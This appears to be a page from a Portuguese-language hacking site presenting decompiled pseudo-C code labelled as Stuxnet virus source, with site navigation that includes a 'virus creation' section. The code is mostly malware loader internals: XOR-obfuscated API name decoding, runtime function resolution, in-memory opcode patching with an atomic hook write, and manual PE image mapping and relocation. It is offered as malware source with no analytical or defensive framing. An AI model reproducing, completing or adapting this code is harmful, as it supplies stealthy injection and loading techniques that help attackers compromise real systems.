{
  int v3; // eax@1
  int v4; // ecx@1
  int v5; // edx@1
  int v6; // eax@2
  int v7; // edx@2
  int v8; // ecx@2
  int v9; // ST00_4@2
  int v10; // edx@2
  int v11; // edx@11
  int v12; // eax@11
  int v15; // [sp-10h] [bp-10h]@2
  int v16; // [sp-Ch] [bp-Ch]@1
  int v17; // [sp-8h] [bp-8h]@1
  int v18; // [sp-4h] [bp-4h]@1

  v18 = a1;
  v17 = a3;
  v16 = a2;
  sub_10002031();
  *(_DWORD *)(v5 + 4) = 0;
  v3 = (*(int (__stdcall **)(_DWORD, int))(v5 + 20))(*(_DWORD *)v5, v16);
  v4 = v17;
  if ( v3 )
  {
    v17 = v3;
    v16 = v4;
    v15 = v3;
    v9 = v3;
    sub_10002031();
    v7 = (*(int (__stdcall **)(int, signed int, signed int, int *))(v10 + 16))(v9, 24, 128, &v15);
    v8 = v16;
    v6 = v17;
    if ( v7 )
    {
      if ( *(_BYTE *)v17 == -72 )
      {
        if ( *(_BYTE *)(v17 + 5) == -70 )
        {
          if ( *(_WORD *)(v17 + 10) != -11521 )
          {
            if ( *(_WORD *)(v17 + 10) != 4863 )
              return v18;
            *(_BYTE *)(v17 + 11) = -46;
          }
          *(_DWORD *)(v6 + 6) = v8;
          return v18;
        }
        if ( *(_DWORD *)(v17 + 5) == 69489805 )
        {
          if ( *(_DWORD *)(v17 + 8) == -1037120252 )
          {
            *(_DWORD *)(v17 + 6) = v16 - v17 - 10;
            *(_BYTE *)(v6 + 5) = -24;
            *(_BYTE *)(v6 + 10) = -112;
          }
        }
        else
        {
          if ( *(_DWORD *)(v17 + 7) == 69489805 )
          {
            if ( *(_DWORD *)(v17 + 11) == -1072300188 )
            {
              if ( *(_DWORD *)(v17 + 15) == -1040187392 )
              {
                v17 = v7;
                sub_10002031();
                *(_DWORD *)(v11 + 4) = 1;
                v16 = v12;
                _ESI = v12;
                __asm { lock cmpxchg8b qword ptr [esi+0Ah] }
              }
            }
          }
        }
      }
    }
  }
  return v18;
}

//----- (1000219E) --------------------------------------------------------
int __cdecl sub_1000219E(int a1, int a2)
{
  int result; // eax@1
  int i; // ecx@3
  char v4; // zf@5

  result = a1;
  if ( a1 )
  {
    for ( i = a2; ; ++i )
    {
      v4 = *(_BYTE *)result == 18;
      *(_BYTE *)i = *(_BYTE *)result ^ 0x12;
      if ( v4 )
        break;
      result += 2;
    }
  }
  else
  {
    result = a2;
    *(_BYTE *)a2 = 0;
  }
  return result;
}

//----- (100021C1) --------------------------------------------------------
__int16 __cdecl sub_100021C1(int a1, int a2)
{
  int v2; // ecx@1
  __int16 result; // ax@2
  int v4; // edx@3
  char v5; // zf@3
  char v6; // zf@4

  v2 = a1;
  if ( a1 )
  {
    result = *(_WORD *)a1 ^ 0xAE12;
    v5 = *(_WORD *)a1 == -20974;
    v4 = a2;
    *(_WORD *)a2 = result;
    if ( !v5 )
    {
      do
      {
        v2 += 2;
        v4 += 2;
        result = *(_WORD *)v2 ^ 0xAE12;
        v6 = *(_WORD *)v2 == -20974;
        *(_WORD *)v4 = result;
      }
      while ( !v6 );
    }
  }
  else
  {
    result = 0;
    *(_WORD *)a2 = 0;
  }
  return result;
}

//----- (100021FE) --------------------------------------------------------
HMODULE __cdecl sub_100021FE()
{
  const WCHAR ModuleName; // [sp+0h] [bp-C8h]@1

  sub_100021C1((int)&unk_100032D0, (int)&ModuleName);
  return GetModuleHandleW(&ModuleName);
}

//----- (10002229) --------------------------------------------------------
FARPROC __cdecl sub_10002229(int a1, int a2)
{
  HMODULE v3; // eax@1
  const WCHAR ModuleName; // [sp+0h] [bp-12Ch]@1
  const CHAR ProcName; // [sp+C8h] [bp-64h]@1

  sub_100021C1(a1, (int)&ModuleName);
  sub_1000219E(a2, (int)&ProcName);
  v3 = GetModuleHandleW(&ModuleName);
  return GetProcAddress(v3, &ProcName);
}

//----- (1000226A) --------------------------------------------------------
void __cdecl sub_1000226A(void *a1, const void *a2, unsigned int a3)
{
  memcpy(a1, a2, a3);
}

//----- (1000227E) --------------------------------------------------------
FARPROC __cdecl sub_1000227E(int a1)
{
  return sub_10002229((int)&unk_100032B4, a1);
}

//----- (1000228F) --------------------------------------------------------
FARPROC __cdecl sub_1000228F(int a1)
{
  return sub_10002229((int)&unk_100032D0, a1);
}

//----- (100022A0) --------------------------------------------------------
signed int __cdecl sub_100022A0(int a1)
{
  int v2; // [sp-4h] [bp-9Ch]@3
  int v3; // [sp+0h] [bp-98h]@8
  int v4; // [sp+4h] [bp-94h]@5
  int v5; // [sp+8h] [bp-90h]@11
  int v6; // [sp+Ch] [bp-8Ch]@1
  int v7; // [sp+10h] [bp-88h]@1
  int v8; // [sp+14h] [bp-84h]@1
  unsigned int v9; // [sp+18h] [bp-80h]@1
  int v10; // [sp+1Ch] [bp-7Ch]@1
  int v11; // [sp+20h] [bp-78h]@11
  int v12; // [sp+24h] [bp-74h]@1
  char v13; // [sp+28h] [bp-70h]@5

  v7 = *(_DWORD *)(a1 + 32);
  v8 = (char *)&dword_1000215A + *(_DWORD *)(a1 + 8) - byte_10001CF9;
  sub_100026D3(&v9, (const void *)v7, 0x80u);
  v9 = (unsigned int)&v9 ^ 0xAE1979DD;
  v10 = 0;
  v12 = *(_DWORD *)(a1 + 4);
  v6 = sub_10002807(v8, (int)&v9, *(const void **)(v7 + 140), *(_DWORD *)(v7 + 144));
  if ( v6 )
    return v6;
  v6 = sub_10002769(a1, v8);
  if ( v6 )
    return -4;
  v4 = (*(int (__thiscall **)(int, char *))(v8 + 36))(v2, &v13);
  if ( !v4 )
    return -9;
  *(_DWORD *)(v7 + 128) = v4;
  if ( *(_DWORD *)(v7 + 148) != -1 )
  {
    v3 = (*(int (__thiscall **)(int, _DWORD, signed int, _DWORD, int, _DWORD, _DWORD))(v8 + 52))(
           v4,
           0,
           524288,
           *(_DWORD *)a1,
           a1,
           0,
           0);
    if ( !v3 )
      return -13;
    (*(void (__stdcall **)(int, signed int))(v8 + 56))(v3, -1);
    (*(void (__stdcall **)(int, int *))(v8 + 60))(v3, &v6);
  }
  v5 = v11;
  if ( v11 )
  {
    v11 = 0;
    (*(void (__stdcall **)(int))(v8 + 64))(v5);
  }
  (*(void (__stdcall **)(int))(v8 + 28))(v7);
  return v6;
}
// 1000215A: using guessed type int dword_1000215A;

//----- (1000243E) --------------------------------------------------------
int __stdcall sub_1000243E(int a1)
{
  int result; // eax@2
  int v2; // [sp+0h] [bp-Ch]@1
  int v3; // [sp+4h] [bp-8h]@1
  unsigned int v4; // [sp+8h] [bp-4h]@1

  v3 = *(_DWORD *)(a1 + 32);
  v4 = (char *)&dword_1000215A + *(_DWORD *)(a1 + 8) - byte_10001CF9;
  v2 = (*(int (__stdcall **)(_DWORD, _DWORD))(v4 + 20))(*(_DWORD *)(v3 + 128), *(_DWORD *)(v3 + 148));
  if ( v2 )
  {
    ((void (__cdecl *)(_DWORD, _DWORD))v2)(*(_DWORD *)(v3 + 132), *(_DWORD *)(v3 + 136));
    result = 0;
  }
  else
  {
    (*(void (__stdcall **)(_DWORD))(v4 + 40))(*(_DWORD *)(v3 + 128));
    result = 0;
  }
  return result;
}
// 1000215A: using guessed type int dword_1000215A;

//----- (100024B1) --------------------------------------------------------
int __cdecl sub_100024B1(int a1, int a2, int a3)
{
  int result; // eax@1

  *(_DWORD *)(a1 + 80) = *(_DWORD *)(a2 + 40) + *(_DWORD *)(a2 + 52);
  *(_DWORD *)(a1 + 84) = 0;
  *(_DWORD *)(a1 + 88) = *(_DWORD *)(a2 + 96);
  *(_DWORD *)(a1 + 92) = *(_DWORD *)(a2 + 100);
  *(_DWORD *)(a1 + 96) = *(_WORD *)(a2 + 92);
  *(_WORD *)(a1 + 100) = *(_WORD *)(a2 + 74);
  *(_WORD *)(a1 + 102) = *(_WORD *)(a2 + 72);
  *(_DWORD *)(a1 + 104) = 0;
  *(_WORD *)(a1 + 108) = *(_WORD *)(a2 + 22);
  *(_WORD *)(a1 + 110) = *(_WORD *)(a2 + 94);
  *(_WORD *)(a1 + 112) = *(_WORD *)(a2 + 4);
  *(_BYTE *)(a1 + 114) = 1;
  *(_BYTE *)(a1 + 115) = 4;
  *(_DWORD *)(a1 + 116) = *(_DWORD *)(a2 + 112);
  *(_DWORD *)(a1 + 120) = a3;
  result = a1 + 80;
  *(_DWORD *)(a1 + 124) = 0;
  return result;
}

//----- (10002574) --------------------------------------------------------
signed int __stdcall sub_10002574(int a1)
{
  signed int result; // eax@3
  int v2; // ST08_4@20
  int v3; // [sp+8h] [bp-24h]@12
  unsigned int v4; // [sp+Ch] [bp-20h]@12
  unsigned int j; // [sp+10h] [bp-1Ch]@14
  int v6; // [sp+18h] [bp-14h]@6
  int v7; // [sp+1Ch] [bp-10h]@6
  int v8; // [sp+24h] [bp-8h]@4
  int i; // [sp+28h] [bp-4h]@10

  if ( a1 && *(_DWORD *)a1 )
  {
    v8 = *(_DWORD *)a1;
    if ( **(_WORD **)a1 == 23117 )
    {
      v6 = *(_DWORD *)(*(_DWORD *)a1 + 60) + v8;
      v7 = v8 - *(_DWORD *)(v6 + 52);
      if ( v8 == *(_DWORD *)(v6 + 52) )
      {
        result = 0;
      }
      else
      {
        *(_DWORD *)(v6 + 52) = v8;
        if ( *(_DWORD *)(v6 + 164) )
        {
          for ( i = *(_DWORD *)(v6 + 160) + v8; *(_DWORD *)(i + 4); i += *(_DWORD *)(i + 4) )
          {
            v4 = *(_DWORD *)(i + 4) - 8;
            v3 = i + 8;
            if ( v4 % 2 )
              return -1073741800;
            for ( j = 0; j < v4 >> 1; ++j )
            {
              if ( (unsigned __int8)(*(_WORD *)v3 >> 8) >> 4 )
              {
                if ( (unsigned __int8)(*(_WORD *)v3 >> 8) >> 4 != 3 )
                  return -1073741800;
                v2 = (*(_WORD *)v3 & 0xFFF) + *(_DWORD *)i + v8;
                *(_DWORD *)v2 += v7;
              }
              v3 += 2;
            }
          }
          result = 0;
        }
        else
        {
          result = -1073741800;
        }
      }
    }
    else
    {
      result = -1073741819;
    }
  }
  else
  {
    result = -1073741819;
  }
  return result;
}

//----- (100026D3) --------------------------------------------------------
void __cdecl sub_100026D3(void *a1, const void *a2, unsigned int a3)
{
  memcpy(a1, a2, a3);
}

//----- (100026E7) --------------------------------------------------------
int __cdecl sub_100026E7(const void *a1, int a2, void *a3)
{
  int result; // eax@2
  int v4; // [sp+0h] [bp-Ch]@1
  int v5; // [sp+4h] [bp-8h]@1
  int v6; // [sp+8h] [bp-4h]@1

  v4 = *(_WORD *)(a2 + 6);
  sub_100026D3(a3, a1, *(_DWORD *)(a2 + 84));
  v5 = a2 + *(_WORD *)(a2 + 20) + 24;
  v6 = 0;
  while ( 1 )
  {
    result = v6;
    if ( v6 >= v4 )
      break;
    if ( *(_DWORD *)(v5 + 16) )
      sub_100026D3((char *)a3 + *(_DWORD *)(v5 + 12), (char *)a1 + *(_DWORD *)(v5 + 20), *(_DWORD *)(v5 + 16));
    ++v6;
    v5 += 40;
  }
  return result;
}

//----- (10002769) --------------------------------------------------------
signed int __cdecl sub_10002769(int a1, int a2)
{
  signed int result; // eax@2
  int v3; // [sp+8h] [bp-Ch]@1
  void *v4; // [sp+Ch] [bp-8h]@3
  char v5; // [sp+10h] [bp-4h]@5

  v3 = *(_DWORD *)a2;
  if ( *(_DWORD *)a2 )
  {
    v4 = (void *)(v3 + 64);
    if ( *(_DWORD *)(v3 + 64) == -1421275077 )
    {
      result = 0;
    }
    else
    {
      if ( (*(int (__stdcall **)(int, signed int, signed int, char *))(a2 + 16))(v3, 4096, 128, &v5) )
      {
        sub_100026D3(v4, *(const void **)(a1 + 24), *(_DWORD *)(a1 + 28));
        (*(void (__thiscall **)(void *))(a1 + 8))(v4);
        (*(void (__stdcall **)(signed int, _DWORD, _DWORD))(a2 + 32))(-1, 0, 0);
        result = 0;
      }
      else
      {
        result = -4;
      }
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (10002807) --------------------------------------------------------
signed int __cdecl sub_10002807(int a1, int a2, const void *a3, int a4)
{
  signed int result; // eax@2
  int v5; // [sp+0h] [bp-1Ch]@3
  int v6; // [sp+4h] [bp-18h]@5
  int v7; // [sp+8h] [bp-14h]@5
  int v8; // [sp+Ch] [bp-10h]@5
  int v9; // [sp+10h] [bp-Ch]@7
  int v10; // [sp+14h] [bp-8h]@5
  const void *v11; // [sp+18h] [bp-4h]@1

  *(_DWORD *)(a2 + 8) = 0;
  v11 = a3;
  if ( *(_WORD *)a3 == 23117 )
  {
    v5 = (int)((char *)a3 + *((_DWORD *)v11 + 15));
    if ( *(_DWORD *)v5 == 17744 )
    {
      v6 = *(_DWORD *)(v5 + 80);
      v7 = 0;
      v8 = (*(int (__stdcall **)(int *, signed int, _DWORD, int *, signed int, signed int, _DWORD))(a1 + 44))(
             &v10,
             983071,
             0,
             &v6,
             64,
             134217728,
             0);
      if ( v8 )
      {
        result = -11;
      }
      else
      {
        v9 = (*(int (__stdcall **)(int, signed int, _DWORD, _DWORD, _DWORD))(a1 + 24))(v10, 6, 0, 0, 0);
        if ( v9 )
        {
          *(_DWORD *)(a2 + 8) = v10;
          sub_100026E7(a3, v5, (void *)v9);
          sub_100024B1(a2, v5, a4);
          (*(void (__stdcall **)(int))(a1 + 28))(v9);
          result = 0;
        }
        else
        {
          (*(void (__stdcall **)(int))(a1 + 64))(v10);
          result = -10;
        }
      }
    }
    else
    {
      result = -2;
    }
  }
  else
  {
    result = -2;
  }
  return result;
}

//----- (100028E8) --------------------------------------------------------
void __cdecl sub_100028E8()
{
  ;
}
MUNDO HACKER
CODIGO DO VIRUS CONHECIDO STUXNET

SOURCE CODE

DEIXE SEU COMENTARIO :

Ferramentas e Sistemas

Mundo Hacker Facebook

VISITANTES

NAVEGAÇÃO ANONIMA

CONVERSOR ANSII

Criação de Virus

Artigos Recentes

Mais Acessados

Copyright © 2015

Navegação

Ferramentas

Servidores
